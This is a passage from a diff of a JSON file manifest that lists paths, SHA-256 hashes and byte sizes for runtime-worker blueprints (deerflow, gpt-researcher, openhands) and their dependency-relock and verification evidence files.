"c663c3c0ed0f391a2c0b9703916b12db8476554ac4f1e06c9b3d79c1c99edafb", + "bytes": 8903 + }, + { + "path": "blueprints/runtime-workers/deerflow/.gitignore", + "sha256": "e45917dd7b440fbd1c22bd736185121a7bee518481d164b2963f5c0075dc3edb", + "bytes": 30 + }, + { + "path": "blueprints/runtime-workers/deerflow/README.md", + "sha256": "8de12bed89bdc3a12dabe4e3c7eded3028b66ad60d44b0c9cb65ffc079e5247b", + "bytes": 30690 + }, + { + "path": "blueprints/runtime-workers/deerflow/compose.json.template", + "sha256": "736b75050339f8876a6b0f75336b453fe7d02ae98c5c91b4cd144c594cb0d7c8", + "bytes": 6128 + }, + { + "path": "blueprints/runtime-workers/deerflow/config.yaml.template", + "sha256": "b9643186de7a2c48224d7dd03bfb654fcdbb7e6925774b12652d0df772da4940", + "bytes": 3551 + }, + { + "path": "blueprints/runtime-workers/deerflow/deerflow-run", + "sha256": "d1cf1bfc2361d1c16df13dd59aba6236258edf1913746c8109d64f302cdbbc0b", + "bytes": 434 + }, + { + "path": "blueprints/runtime-workers/deerflow/defaults.json", + "sha256": "18d1a1183471c110ea1ad0bb35468c1fe6ae08156a6d0d5e1e7d3d14b4602e96", + "bytes": 150 + }, + { + "path": "blueprints/runtime-workers/deerflow/dispatch.py", + "sha256": "3133d1dbc1e21a286bcedf5e02a591039036d2fc87ba9c7265611110bd4ee18d", + "bytes": 15056 + }, + { + "path": "blueprints/runtime-workers/deerflow/e2e/check.py", + "sha256": "f3915481b82f6f54cc37de0551010829dc14f71fd2df9607efdc92754a8cba3a", + "bytes": 2825 + }, + { + "path": "blueprints/runtime-workers/deerflow/e2e/drive.py", + "sha256": "0b5ca3da35ac4fd30854a3558dd08dff0693f50360dadf835ac9202137524cb2", + "bytes": 1406 + }, + { + "path": "blueprints/runtime-workers/deerflow/e2e/evaluate.py", + "sha256": "0a29a38366371c347290539ddc21aeae9cadcca47f5457ad97a129c96d58d988", + "bytes": 5250 + }, + { + "path": "blueprints/runtime-workers/deerflow/e2e/expected.json", + "sha256": "e0ce9a88c8160152b3e1aa1e8d456dda690e6fbf155cb4260aaab04fc309fe41", + "bytes": 1269 + }, + { + "path": "blueprints/runtime-workers/deerflow/e2e/gaia.py", + "sha256": "f651e12568e83fe3e23534dd99dc287127f21c887b08fa9fef6aeb975eb352ce", + "bytes": 1910 + }, + { + "path": "blueprints/runtime-workers/deerflow/e2e/receipt.py", + "sha256": "d879be1df6adb2caadeabc8d0a35a880c6804f68816e4504ae3a570686e51ba9", + "bytes": 15883 + }, + { + "path": "blueprints/runtime-workers/deerflow/e2e/requirements.lock", + "sha256": "388083f96839d48ab92b99ea7a3a8fe01f978e5d73374fd8d4ed4dc00adaa341", + "bytes": 221764 + }, + { + "path": "blueprints/runtime-workers/deerflow/e2e/requirements.txt", + "sha256": "45495375bf4f4c0e4df3fb77c15e1ca030f38e6bd807fcfaf5bcf908b277275d", + "bytes": 126 + }, + { + "path": "blueprints/runtime-workers/deerflow/e2e/run.py", + "sha256": "a3112e387bf6c9bfb7c39dd273f591dd78162f9e05f5e664d8c073f0939b7518", + "bytes": 7668 + }, + { + "path": "blueprints/runtime-workers/deerflow/e2e/task.md", + "sha256": "4155ef3b6c83d5333cc63f9006845a2b0ab57b2161fdf7a3c8e31f695936680b", + "bytes": 1206 + }, + { + "path": "blueprints/runtime-workers/deerflow/egress.conf.template", + "sha256": "7ddc16d3210178072f1f77ef5881896f3f832d081207a92bd97ba09284b3fb4e", + "bytes": 906 + }, + { + "path": "blueprints/runtime-workers/deerflow/evidence/artifacts.txt", + "sha256": "f5b71a3d3a1347dbb03b6943218ba070c0f96a2ef71aa34f0c5cb407db362e36", + "bytes": 196 + }, + { + "path": "blueprints/runtime-workers/deerflow/evidence/fail-first.json", + "sha256": "00b3442bbc17b12961402e6b756b7e650b09bc9f0294220057aca338af48c99a", + "bytes": 238 + }, + { + "path": "blueprints/runtime-workers/deerflow/evidence/fail-first.txt", + "sha256": "14c46a6a37e7ff027eda6cede10421063037dfa50663bbacfb11c87dd48877fb", + "bytes": 14628 + }, + { + "path": "blueprints/runtime-workers/deerflow/evidence/followup-checks.json", + "sha256": "6ee8a4dc183f7ce6861a2e648f5b1be5831e6b510b090a81a0dce5d686848fb1", + "bytes": 4418 + }, + { + "path": "blueprints/runtime-workers/deerflow/evidence/repository.txt", + "sha256": "78a0346f79291fd2a46e1733990afe47f789101156ca3b17ac9cc8bf32c745c5", + "bytes": 162 + }, + { + "path": "blueprints/runtime-workers/deerflow/evidence/round2-cleanup-red.txt", + "sha256": "bb53b58b4c5256f7374366d1dc93083b5299cd1ff4e3a139df1f312a15e56af3", + "bytes": 1293 + }, + { + "path": "blueprints/runtime-workers/deerflow/evidence/round2-fail-first.json", + "sha256": "5227cfcd7c5fd75ae6a47daa6e2e483f49a747bd4606f00d97a4b3a2031dfe48", + "bytes": 4443 + }, + { + "path": "blueprints/runtime-workers/deerflow/evidence/round2-malformed-red.txt", + "sha256": "7a9f09071eec49d69564dfb3606aadeb214276ab4ff4f9bbb4ec6a12d589c4e6", + "bytes": 1744 + }, + { + "path": "blueprints/runtime-workers/deerflow/evidence/round2-repository.txt", + "sha256": "99690377fa19c747ba60d638a20ca8ea447ced7ecc56f8702b6e5c8139eadf2e", + "bytes": 2136 + }, + { + "path": "blueprints/runtime-workers/deerflow/evidence/round2-syntax.txt", + "sha256": "7d0e81027d9d2599a6f9bbce1a3f7aa2aa90f4666c1729a76017e096f036430c", + "bytes": 133 + }, + { + "path": "blueprints/runtime-workers/deerflow/evidence/round2-unit.txt", + "sha256": "28caed9cb3d4bc5101a2a88a7b1b53c38f05db4255b6a0363def8e945641c084", + "bytes": 3741 + }, + { + "path": "blueprints/runtime-workers/deerflow/evidence/round2-verification.json", + "sha256": "71b5fb6c415d66d41b9f9803b8e07448898376c1b267b58eed648f7962e1c776", + "bytes": 2633 + }, + { + "path": "blueprints/runtime-workers/deerflow/evidence/syntax.txt", + "sha256": "5b5bb0acadd5fcaae84ee069c582e528ee7d78f66bf3b1a1fa9a8fea80f406d5", + "bytes": 165 + }, + { + "path": "blueprints/runtime-workers/deerflow/evidence/unit.txt", + "sha256": "4f70d173753c7a34e721db7e939bce534101339b17f335ee8fcc8b8a45fff2a3", + "bytes": 1754 + }, + { + "path": "blueprints/runtime-workers/deerflow/evidence/verification.json", + "sha256": "84e7119b34d980a21751fc654fd514230416dbb5380177dffb86d29c9874b1ac", + "bytes": 7618 + }, + { + "path": "blueprints/runtime-workers/deerflow/extensions_config.json.template", + "sha256": "2eac031a4ae268143a442c51ef1187fecc9d5ec98910d3ffe2561761880e9d28", + "bytes": 3345 + }, + { + "path": "blueprints/runtime-workers/deerflow/host.json.example", + "sha256": "b01b6e7a14aecb58481f146a3182e985f3665f0a9f29605b294d9e5a75e987f5", + "bytes": 1270 + }, + { + "path": "blueprints/runtime-workers/deerflow/install.sh", + "sha256": "55583f70dda2a84f33ed8d15fb1e3b2671fb2454b52cd5fd177bf174669d4fcf", + "bytes": 278 + }, + { + "path": "blueprints/runtime-workers/deerflow/lifecycle.sh", + "sha256": "d975500081382db565b786c693df288defe4d7abca39c801daac7c78cb2a7f39", + "bytes": 286 + }, + { + "path": "blueprints/runtime-workers/deerflow/pins.json", + "sha256": "ccaa5cbccc831eaf41f62462633dfdf01920ba4dd30ea42c4453a2b8825babd2", + "bytes": 2942 + }, + { + "path": "blueprints/runtime-workers/deerflow/recipe.py", + "sha256": "59b39b72e42e7a96efe078caa79bf928ce5dd8da54e9447490bfee29c4abc4a0", + "bytes": 21511 + }, + { + "path": "blueprints/runtime-workers/deerflow/research.json", + "sha256": "c401025560888ca978609f26bbb5eeaa8ff0f2f52279292ec9d5b02b97cc3281", + "bytes": 19999 + }, + { + "path": "blueprints/runtime-workers/deerflow/round2-research.json", + "sha256": "cb0c8b65a2ce00776f08b6fe0e180b3db8ff439b3d3bb7f72c31d8c2c0407d0e", + "bytes": 9611 + }, + { + "path": "blueprints/runtime-workers/deerflow/round3-verification.json", + "sha256": "549e7db9fa3897a58703b2a2d6899e39f7d15ee7ac10c64547a3d7502d285e8e", + "bytes": 104650 + }, + { + "path": "blueprints/runtime-workers/deerflow/round3-verification.md", + "sha256": "ad8afdabfc7f943abbcc8215d627cf67fcf113ff323a352b596942926b24a8cc", + "bytes": 24134 + }, + { + "path": "blueprints/runtime-workers/deerflow/run-e2e.sh", + "sha256": "38e542377e15b801836560cd26920394a99a0eb1a64f1d6754e4358e7c311ff3", + "bytes": 258 + }, + { + "path": "blueprints/runtime-workers/deerflow/runtime/frontend-start.sh", + "sha256": "31c5523812bd6be031df233f1a31e84380a012a40b190b245a2ccf553d0f46ae", + "bytes": 159 + }, + { + "path": "blueprints/runtime-workers/deerflow/runtime/gateway-start.sh", + "sha256": "906bd7593e5318b66920921d30790dea51be38ed550c7137992d75ae03ba321e", + "bytes": 472 + }, + { + "path": "blueprints/runtime-workers/deerflow/runtime/gateway_headers.py", + "sha256": "e2915a83652467d89dfcb62fc5e9baa62641805d2965d7593bdb8e89c66470a5", + "bytes": 909 + }, + { + "path": "blueprints/runtime-workers/deerflow/runtime/gateway_model.py", + "sha256": "fcd75cd69a542b07bf4e8f15910e87991e393c5c579fbd8ec93b6a5328f398ea", + "bytes": 2170 + }, + { + "path": "blueprints/runtime-workers/deerflow/runtime/nginx-start.sh", + "sha256": "656d66f6dc7c715c014980701727b2bc8ac9d4c61f7bc7326a145ea74d98c21e", + "bytes": 421 + }, + { + "path": "blueprints/runtime-workers/deerflow/runtime/preflight.py", + "sha256": "2a05cf1be2c29462afbcb542a5a95f14412a321e85d953d137d2e4bf007b4603", + "bytes": 2845 + }, + { + "path": "blueprints/runtime-workers/deerflow/runtime/redis-start.sh", + "sha256": "1d5dabef9396f2dbb4cd23ecbba3442c6dd74b0fe6f0a123f8cdb8065c708c73", + "bytes": 534 + }, + { + "path": "blueprints/runtime-workers/deerflow/runtime/stdio.sh", + "sha256": "c2574cf58651121a2280a7b220ab437213d15427c30b426f0e742ba3aaf6c659", + "bytes": 196 + }, + { + "path": "blueprints/runtime-workers/deerflow/runtime/tool-policy.json", + "sha256": "a28ab9d1813028527671b19259de43a51cbc1af79f0d1c92b8f3d99a647a1b31", + "bytes": 1351 + }, + { + "path": "blueprints/runtime-workers/deerflow/runtime/worker_policy.py", + "sha256": "0d5a2f51a2ccdde7187cb43f9a172c22fb8ce9ddcdb52ee83bdf283674b183dc", + "bytes": 3036 + }, + { + "path": "blueprints/runtime-workers/gpt-researcher/README.md", + "sha256": "bf0bf4320e34cdab85aeffa1e07e899ce908c401d37490e72c4f95df5ef90a89", + "bytes": 20714 + }, + { + "path": "blueprints/runtime-workers/gpt-researcher/build-requirements.in", + "sha256": "fe1d3c1bcc3db9e25991e2d037db4f13b6830004f82e2e04448f1956b92f9b4c", + "bytes": 137 + }, + { + "path": "blueprints/runtime-workers/gpt-researcher/build-requirements.lock", + "sha256": "3e4bc4a4fdb884e03759d5eb0afdba46de547dce525b25bee17c63de3f1de57f", + "bytes": 748 + }, + { + "path": "blueprints/runtime-workers/gpt-researcher/cli_runner.py", + "sha256": "9aa7c94183f14c342b09070217446b3c6c811d47f106d7d02f14ba9825576194", + "bytes": 2710 + }, + { + "path": "blueprints/runtime-workers/gpt-researcher/config.template.json", + "sha256": "6602a06de958ed1e69ebe38243d9c9590592c124034f3f99384d7acecbc0d6d4", + "bytes": 1181 + }, + { + "path": "blueprints/runtime-workers/gpt-researcher/dispatch.py", + "sha256": "5a6981a663ff10e929724c357b71eca5606176d2e08d0b5d9d7ca5754b1949d5", + "bytes": 15896 + }, + { + "path": "blueprints/runtime-workers/gpt-researcher/dispatch.sh", + "sha256": "51fcef07d220105e2e9d6f2d8427db17e8c7535fdb38bf797b2e471ae68ad821", + "bytes": 271 + }, + { + "path": "blueprints/runtime-workers/gpt-researcher/e2e/check.py", + "sha256": "a68e7b04c7448617f58038257e08aeedef7175cc870b3d5f4303f2afd46bc8d7", + "bytes": 1645 + }, + { + "path": "blueprints/runtime-workers/gpt-researcher/e2e/grader.py", + "sha256": "a015272a4a972279fbfc18bf9801c05c7171e89a2b8c97ca7291393319fc785b", + "bytes": 9857 + }, + { + "path": "blueprints/runtime-workers/gpt-researcher/e2e/offline-red.txt", + "sha256": "cc383b1910f9514b464f7fb52326093dc5a1854308411c9fee31e92f905e96f1", + "bytes": 968 + }, + { + "path": "blueprints/runtime-workers/gpt-researcher/e2e/offline-verification.json", + "sha256": "92c1ecdefb0fa4c0c4e49b4e00ec2f840254cef209c4a50d8b156adba5576938", + "bytes": 2166 + }, + { + "path": "blueprints/runtime-workers/gpt-researcher/e2e/receipt.py", + "sha256": "24a2c62d8fbb1971301e973fb2cbc741047b3a341836f006ee094f300f297da8", + "bytes": 14371 + }, + { + "path": "blueprints/runtime-workers/gpt-researcher/e2e/round2-red.txt", + "sha256": "5b021a742078aad24849101297006819a92c39b0b331688631db7c8901685c07", + "bytes": 9790 + }, + { + "path": "blueprints/runtime-workers/gpt-researcher/e2e/round2-verification.json", + "sha256": "5ab5fc42a70e134531f6e5cc3426cbe6c783bad1deea2f22f1fc02b7d56710a0", + "bytes": 10254 + }, + { + "path": "blueprints/runtime-workers/gpt-researcher/e2e/run.py", + "sha256": "370ec49b8f436df82500bcf08307f5bba99d7212943df0330009936edab0d7b9", + "bytes": 9646 + }, + { + "path": "blueprints/runtime-workers/gpt-researcher/e2e/task.json", + "sha256": "f0548f2477113f1eb107110b9bb31bbccab0f15eb37b2dd543f1edfc7bc878bc", + "bytes": 522 + }, + { + "path": "blueprints/runtime-workers/gpt-researcher/evidence/nltk-reachability.json", + "sha256": "6915dd28fc7cbaf0918ce64f939f1870d77d77e006d01b763d0a73ea850b8b7f", + "bytes": 19270 + }, + { + "path": "blueprints/runtime-workers/gpt-researcher/gateway.py", + "sha256": "cadb2e097a9ccbf0fdc609c5cba9a82645da46a2d9e2e6fcb59b10fcf5ba657c", + "bytes": 9613 + }, + { + "path": "blueprints/runtime-workers/gpt-researcher/host.template.json", + "sha256": "8a07054c702d98dcc613ad4e2b2396d0aeb3e32aae5ed83bf1efeb9f76ef10f3", + "bytes": 426 + }, + { + "path": "blueprints/runtime-workers/gpt-researcher/install.sh", + "sha256": "7e5ef28773ced0cabc1959835a4da996b978d8f9cba25d63ed1a74cc22314280", + "bytes": 3107 + }, + { + "path": "blueprints/runtime-workers/gpt-researcher/install_support.py", + "sha256": "a18890c66862e077d50b239e7a6592061349ca85ac7757b25ae5974f128dd28d", + "bytes": 2426 + }, + { + "path": "blueprints/runtime-workers/gpt-researcher/mcp-policy.json", + "sha256": "de646e3bbddc1ff809537258bac0cac810be0b516149683a00c7d3c54333bf1b", + "bytes": 2386 + }, + { + "path": "blueprints/runtime-workers/gpt-researcher/mcp_proxy.py", + "sha256": "b07428bf921d0512ecbbaa2e1d67b925360fd707e813ac4d21448f08fad32058", + "bytes": 9409 + }, + { + "path": "blueprints/runtime-workers/gpt-researcher/pins.json", + "sha256": "fdf3e7bc7b4fa773923383734a68df75124e1b28a686c16d090fee763a545278", + "bytes": 4538 + }, + { + "path": "blueprints/runtime-workers/gpt-researcher/proxy-requirements.in", + "sha256": "e7e64a4f4b8b49b0c1640218f231efb7583c0677e011bf5fdec9b6cef9803197", + "bytes": 101 + }, + { + "path": "blueprints/runtime-workers/gpt-researcher/proxy-requirements.lock", + "sha256": "3a1ac1b2d53f345c151cfbf05ec8ef202578663469cf96bf0e84179774834754", + "bytes": 69181 + }, + { + "path": "blueprints/runtime-workers/gpt-researcher/requirements.in", + "sha256": "e023289c152a9cd6e55dfb3d245d316886e83001ea8297d6f331841117981be8", + "bytes": 2776 + }, + { + "path": "blueprints/runtime-workers/gpt-researcher/requirements.lock", + "sha256": "839e23f1a74dae155901fefbba2c1e53520f5fb468c4562222323e07e3d27774", + "bytes": 372179 + }, + { + "path": "blueprints/runtime-workers/gpt-researcher/research.md", + "sha256": "2f5f9b58f1241d45d16baf4d794a72d374ffbf8266a70fc2ddcbdf6c438a1d1b", + "bytes": 14575 + }, + { + "path": "blueprints/runtime-workers/gpt-researcher/round3-verification.json", + "sha256": "19d49dfcc4a4340f6a454873b1a5846360ec7ced2576e1e1de20a2c677c367f0", + "bytes": 85966 + }, + { + "path": "blueprints/runtime-workers/gpt-researcher/run-e2e.sh", + "sha256": "e65e0809bf490801064bbd79c75d3135e4e7b10f823a6cd3939fc798135241ed", + "bytes": 279 + }, + { + "path": "blueprints/runtime-workers/gpt-researcher/run-upstream-tests.sh", + "sha256": "138de01ee0c3eba85f2f65abeb7f2f02a24bd3796352baf89ef0841c68c25562", + "bytes": 1145 + }, { "path": "blueprints/runtime-workers/openhands/README.md", - "sha256": "3bef3150f4d6c7e3b3877c69292a4d87b7a00b96fb8fe3ed947714873ee02461", - "bytes": 72164 + "sha256": "b3149ae282c6643371502edcff3a50ef2d48407893e8a7778bbf0db10f9d7033", + "bytes": 86342 }, { "path": "blueprints/runtime-workers/openhands/build-requirements.lock", @@ -9144,6 +9814,11 @@ "sha256": "7e452b37fa45c7d3cd653a7e43bc99ccc07168b2bd7bbdf1ca1467b1309a6a53", "bytes": 3059 }, + { + "path": "blueprints/runtime-workers/openhands/config/profiles.json", + "sha256": "7d5327765d5680df3038e3745cce8f57312198aa88e1aeca22e52a6b6ea754b7", + "bytes": 1463 + }, { "path": "blueprints/runtime-workers/openhands/config/proxy-nginx.conf", "sha256": "cbbb64f01eabbac149142e98a6697d54eabe2fad41a4f9095d782af64b1a5630", @@ -9161,8 +9836,8 @@ }, { "path": "blueprints/runtime-workers/openhands/dispatch.py", - "sha256": "a579f6ce525ddffc05989c05425e485562c982ae9d0c78b92af97424691d8ca2", - "bytes": 19469 + "sha256": "5d42ef710dd9c40d43c7b52bb019b86e96635a6deac603bc1624daf8650a277a", + "bytes": 22982 }, { "path": "blueprints/runtime-workers/openhands/e2e/check.py", @@ -9176,8 +9851,8 @@ }, { "path": "blueprints/runtime-workers/openhands/e2e/netprobe.py", - "sha256": "52650f68e8c0ab48dcef57f2a7a82c4a29ea88d4ce691df83cc6219aa9e3ebcb", - "bytes": 21917 + "sha256": "93cf45d663870ea326c098799ee03965739bdcd2ee7b90566e4bd34dbee39c8f", + "bytes": 26506 }, { "path": "blueprints/runtime-workers/openhands/e2e/task.py", @@ -9199,6 +9874,356 @@ "sha256": "499168343f4f33d8a54294f350ff38c3c69cdcb6e06c6b691eb2fd927504d76f", "bytes": 8151 }, + { + "path": "blueprints/runtime-workers/openhands/evidence/image-triage-20260930.json", + "sha256": "a5e9a112706a8822ca23e0f82199b3cbc3164982db80c8720b087c98335285d1", + "bytes": 4569 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-baseline-osv-current-config.stderr.txt", + "sha256": "7de52e31d1f445e1709affba57e0707156ad7825b3090a91e516fd1b334bbe1a", + "bytes": 3630 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-baseline-osv-current-config.stdout.txt", + "sha256": "a92e835298713c688fe1cec4e6dce17342294e5d82500617f08adefdb6f81bc8", + "bytes": 37988 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-baseline-osv-empty-config.stderr.txt", + "sha256": "5badffe477826da86e599f6e3b4eda2197a4ac0535ecf3be64cb255064198f73", + "bytes": 211 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-baseline-osv-empty-config.stdout.txt", + "sha256": "b7eedfbee6122774031a30c319f714d849c5c1cf23abb9dda493403524a30c7f", + "bytes": 57685 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-build-hash-install.stderr.txt", + "sha256": "667ac8b6b61cacb3f7b70aeebf1132d6f42c01b490a321e1c98ee89b651c8a69", + "bytes": 176 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-candidate-osv-current-config.stderr.txt", + "sha256": "35d74b0c8ef3cf64d2e349348d53bb5909907c1d1cc4d7996930118bdae5d31d", + "bytes": 3632 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-candidate-osv-current-config.stdout.txt", + "sha256": "54345d5194d238b6017d0f3181f392109ce35023cc6b4bdfa8c134943dcb578e", + "bytes": 124 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-candidate-osv-empty-config.stderr.txt", + "sha256": "08bfcde0bd82cb1139676b96fbdd495ba84bcb5e0878999577290f4f2f8f3536", + "bytes": 213 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-candidate-osv-empty-config.stdout.txt", + "sha256": "afad529ade6763e00b9d46db35ff6f40cc52848858b97432057f98d48a15d25a", + "bytes": 19970 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-captured-inputs.json", + "sha256": "f04c3b1703d1912e77f5283563b177763ca75d6a774c2ccdec78c5adf6568f1b", + "bytes": 39834 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-commands.json", + "sha256": "eb262f0eea6eadadb761dc839ffe5829d4609385fc198122c8f8c30623e6d801", + "bytes": 56062 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-exact-runtime-and-source-identities.stderr.txt", + "sha256": "f6f4156bf3e5e2da69a8f8f4c5d672a2433ce1376f8d467f018987a066078ed8", + "bytes": 658 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-exact-runtime-and-source-identities.stdout.txt", + "sha256": "a19f19834e68a4e713c95f509eabdf5664bb229929673d33973e6114ee15486d", + "bytes": 3168 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-focused-guard-tests.stderr.txt", + "sha256": "ffd5c73820b250090b14c6f778a819ae429a70504669d1752dd3f1c4cca483c0", + "bytes": 6323 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-fresh-venv.stderr.txt", + "sha256": "d2e3ddc5bdcd75429cb2739ee268afa3a10c09495378a8dbe0883a024ce97293", + "bytes": 232 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-litellm-baseline-sdist-download.stdout.txt", + "sha256": "16d1439db3c81d8d096b074765b0c9d68a2fd17a7d792b17f7aa38d03e847988", + "bytes": 175 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-litellm-candidate-sdist-download.stdout.txt", + "sha256": "09e168d8c412e327fe5db70c2548469f1d09e255d56523c71947353fc702e321", + "bytes": 175 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-litellm-candidate-wheel-download.stdout.txt", + "sha256": "313610189e6eeecc35b64d34f9e0cd185e310f8b94dfb6cec5a9bd3a48eb8d38", + "bytes": 206 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-maintained-jwt-callers-after-test-tools.stdout.txt", + "sha256": "c2dca1cfb8bb6e6311f10ed2ff973ea8df6c900cd01092e99e1c421d7078d08e", + "bytes": 2926 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-maintained-jwt-callers.stdout.txt", + "sha256": "c59587e1bed345f844fa0d31947765e9a766027a2d41f1d22ea2ff5c71714065", + "bytes": 2926 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-method-capture.py.txt", + "sha256": "dcc64700c1d880ef495a3f414ed2ca8e806048a0e6dcd2a0dfdae65ba1504da8", + "bytes": 1435 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-method-download-source.py.txt", + "sha256": "c1dab7fc6e1e566391eb7a3ed1b29fbdca1c851ea53369bcc3d150ee068034b6", + "bytes": 603 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-method-run-upstream-url-tests.py.txt", + "sha256": "4dc5f72e660f22d6a89d7173d8be1dea2e95a4684f0f87517a02e844d8863b0a", + "bytes": 1202 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-method-verify.py.txt", + "sha256": "fb230089924a6e6dbafa15a6a4e2bb23f2ea8e5e49aa2d246fb482b6b95315b3", + "bytes": 6347 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-candidate-compile.stderr.txt", + "sha256": "75eac73e43f1bf7306faa2dec1657ec06f70d1fbe8c5b60e2f39973f4105c4cc", + "bytes": 31 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-candidate-no-config-recompile.stderr.txt", + "sha256": "bed33fec5250907e74380519d38f70bd2e5ba95edead33072d8d23ddacd77747", + "bytes": 30 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-control-compile.stderr.txt", + "sha256": "918ec0e68c8174d18812542792848a8b201a0e824dbb0e25d2f67f2262ef9b8e", + "bytes": 31 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-pip-check-after-test-tools.stderr.txt", + "sha256": "2919b108fe00735e79cd413a063e8699103a744b3765f4b963c1ad6f42a7f941", + "bytes": 127 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-pip-check.stderr.txt", + "sha256": "94b6dcbed09c7f53f08e003dbf72ddb250182edce8a877cb33af39ee798d18f2", + "bytes": 127 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-recipe-lock-compile.stderr.txt", + "sha256": "0478aad1ad8c8b08dc564a113be93d75d36f9385d680069c8d1ddaabcfe8f47d", + "bytes": 31 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-native-upstream-test-tools.stderr.txt", + "sha256": "32207d0e41826374f93e7912571a45efda0fb1a28f98e3fa3aa36a53da874b9d", + "bytes": 206 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-oauthlib-alias-callers-after-test-tools.stdout.txt", + "sha256": "405e7b566f850c1e74df81980bab0f2ee513ab31bc2121e87a32e793af75494c", + "bytes": 37078 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-oauthlib-alias-callers.stdout.txt", + "sha256": "5b6328e2bd292afc13d4a4eaab9e85abf989eae7879e4630478a442a8e390813", + "bytes": 37078 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-pytest-qualification-tools.stderr.txt", + "sha256": "c30218aa1df2e8325dfac41e3314a642598d698a997cc01b9ab6ac66f694e66b", + "bytes": 172 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-runtime-hash-install.stderr.txt", + "sha256": "6dd5d8d9dac64dd1c3b67c010184f47057ec47086b69b4fcc191ddd31365c55a", + "bytes": 4518 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-scanner-version.stdout.txt", + "sha256": "e0bc7fa9d9b902f5179238abc870bc238c6f119e8c4c0b58b63fd26289fc5ea7", + "bytes": 134 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-sdk-fixtures.stderr.txt", + "sha256": "c9389e58b5cc13be9155ca3943fc8cb4d1b989b1e85256678d8948e92c4149a5", + "bytes": 2962 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-source-validation-before-index.stdout.txt", + "sha256": "485944c34511b8adc3b287efb2b90bf491442c05ef21b69649d072a6e3ba96c5", + "bytes": 489 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930-unchanged-upstream-url-tests.stdout.txt", + "sha256": "0704464298af960099ab7677cec20c3f8be9b9c40fe9942e05062c9ec356cb79", + "bytes": 7535 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/litellm-relock-20260930.json", + "sha256": "5d57e1ac7655d4ae772797268f308d9d8f8c6467f5932893338f38691174e752", + "bytes": 65895 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-actual-sdk-fixtures.txt", + "sha256": "9ee6941fd3b532f888b320a474ecb708381be64de27696ffb232a13c9128c942", + "bytes": 3085 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-build-hash-install.txt", + "sha256": "80895466bdc4ad6866212c83c305b8cf27487d8b9634b661a9b6e6301d129905", + "bytes": 465 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-commands.json", + "sha256": "3bdf5759ab4cec5b673d610765b81510bafb5981a6c0428aba8515c3a865e9b5", + "bytes": 17008 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-compare.py.txt", + "sha256": "af2e609f21fb3e166d56362d1cc93899fdbf428421db7ee5560d5f730d22881f", + "bytes": 5570 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-constraints.txt", + "sha256": "b4e06f725855214b283cbcd92068cbb45dd3d272114079f1696a7542ab9a94dd", + "bytes": 37931 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-dependency-comparison.json", + "sha256": "b01a987646e5ba167193335d69c98455739825148d15b75fee1982669185831e", + "bytes": 66742 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-fresh-extraction-reproduction.txt", + "sha256": "5381b4f38ab482bd0d2fac4a7fb2dd41300cd2652aae4f660a343b58b8e2a639", + "bytes": 248927 + }, + { + "path": "blueprints/runtime-workers/openhands/evidence/main-reconcile-20260930-fresh-venv.txt", + "sha256": "0f927255ceb258c775cc1b0ee5c567286601dd50baa798b4fc1e0b9e7a28fc91", + "bytes": 424 + }, + { + "path": 